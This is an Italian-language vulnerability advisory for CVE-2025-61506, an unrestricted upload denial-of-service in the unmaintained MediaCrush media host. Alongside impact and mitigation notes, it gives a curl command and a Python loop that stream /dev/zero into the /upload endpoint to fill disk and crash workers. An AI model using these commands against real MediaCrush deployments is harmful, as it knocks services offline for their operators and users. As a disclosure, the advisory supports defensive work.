
Vulnerabilità DoS di caricamento file non limitato scoperta in MediaCrush fino alla versione 1.0.1 (CVE-2025-61506)
È stato scoperto un problema in MediaCrush fino alla versione 1.0.1 che consente ad attaccanti remoti non autenticati di caricare file arbitrari di qualsiasi dimensione sull'endpoint /upload. Vulnerabilità: Upload di file senza restrizioni (CWE-434) ID CVE: CVE-2025-61506 SCOPERTA : 18 settembre ASSEGNATA : 9 ottobre Componente interessato: mediacrush/upload.py, app.py (endpoint di upload Flask) Versioni interessate: Tutte le versioni (ultimo commit 8f4b2a3f, circa 2014) Impatto: Negazione del servizio (DoS) Severità: CVSS 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
L'endpoint /upload di MediaCrush (mediacrush/upload.py) consente ad attaccanti non autenticati di caricare file arbitrariamente grandi senza limiti di dimensione, validazione del tipo MIME o limitazione della frequenza. Ciò porta a una negazione del servizio esaurendo lo spazio di archiviazione su disco (predefinito ./storage), sovraccaricando i worker Redis e Celery e causando il crash dell'applicazione. La vulnerabilità riguarda tutte le istanze di MediaCrush (locali o distribuite in rete) a causa della mancata validazione dell'input nel gestore di upload basato su Flask. Poiché il progetto non è più mantenuto (ultimo aggiornamento 2014), non esiste alcuna correzione.
Configura un'istanza locale di MediaCrush (secondo il README: Python 2.7, Flask 0.10.1, Redis, Celery).
Esegui l'app (python app.py) e il worker Celery (celery worker -A mediacrush -Q celery,priority).
Esegui il seguente comando per caricare un file di grandi dimensioni:
curl -F "file=@/dev/zero" http://localhost:5000/upload
Oppure usa uno script Python per caricamenti multipli:
import requests url = "http://localhost:5000/upload" for i in range(50): with open("/dev/zero", "rb") as f: files = {"file": (f"huge{i}.mp4", f, "video/mp4")} r = requests.post(url, files=files) print(f"Upload {i}: {r.status_code} - ID: {r.json().get('id', 'Failed')}")
Risultato: lo spazio di archiviazione su disco (ad esempio /tmp/storage) si riempie, i worker Celery vanno in crash a causa dell'OOM e i nuovi caricamenti falliscono (HTTP 500/413). L'utilizzo della memoria di Redis subisce un picco.
Negazione del servizio: riempie il disco, manda in crash l'app, impedisce nuovi caricamenti o la distribuzione dei media.
Abuso dello storage: gli attaccanti possono utilizzare MediaCrush come spazio di archiviazione gratuito e illimitato per file dannosi (ad esempio contenuti piratati).
Costi cloud: se storage_folder è basato su cloud (ad esempio AWS S3), si incorre in costi di fatturazione significativi.
Colpisce qualsiasi distribuzione self-hosted di MediaCrush fino alla versione 1.0.1.
Imponi limiti di dimensione dei caricamenti lato server utilizzando la configurazione MAX_CONTENT_LENGTH di Flask e le direttive client_max_body_size del server web (ad esempio nginx). Implementa una corretta validazione dei file e il rate limiting per prevenire l'esaurimento delle risorse.
Poiché il progetto non è mantenuto, gli utenti dovrebbero creare un fork e applicare una patch oppure evitarne la distribuzione.
Repository MediaCrush: https://github.com/MediaCrush/MediaCrush
CWE-434: https://cwe.mitre.org/data/definitions/434.html
Scoperta durante un audit di bug bounty su progetti open-source.
Nessuna CVE precedente trovata per MediaCrush (consultati NVD e advisory GitHub).
Progetto non mantenuto; nessuna risposta prevista dal vendor ([email protected], IRC #mediacrush inattivo).